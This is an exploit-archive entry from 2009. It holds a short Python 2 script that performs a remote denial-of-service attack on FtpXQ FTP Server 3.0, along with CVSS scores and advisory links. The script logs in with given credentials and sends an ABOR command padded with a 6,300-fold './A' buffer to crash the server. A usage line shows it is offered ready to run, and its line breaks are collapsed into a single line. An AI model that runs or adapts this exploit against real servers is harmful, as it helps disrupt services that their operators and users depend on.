FtpXQ FTP Server 3.0 Remote Denial of Service Exploit (auth)

2009.10.06
Credit: PLATEN
Risk: Low
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/python print "############################################################" print "## Iranian Pentesters Home ##" print "## Www.Pentesters.Ir ##" print "## PLATEN -[ H.jafari ]- ##" print "## FtpXQ FTP Server 3.0 Remote Denial Of Service Exploit ##" print "## author: PLATEN ##" print "## E-mail && blog: ##" print "## hjafari.blogspot.com ##" print "## platen.secure[at]gmail[dot]com ##" print "## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder ##" print "## and all members in Pentesters.ir ##" print "############################################################" import socket import sys def Usage(): print ("Usage: ./expl.py <host> <Username> <password>\n") buffer= "./A" * 6300 def start(hostname, username, passwd): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("[-] Connection error!") sys.exit(1) r=sock.recv(1024) print "[+] " + r sock.send("user %s\r\n" %username) r=sock.recv(1024) sock.send("pass %s\r\n" %passwd) r=sock.recv(1024) print "[+] Send evil string" sock.send("ABOR %s\r\n" %buffer) sock.close() if len(sys.argv) <> 4: Usage() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] start(hostname,username,passwd) sys.exit(0)

References:

http://www.vupen.com/english/advisories/2009/2655
http://www.securityfocus.com/bid/36391
http://www.milw0rm.com/exploits/9664


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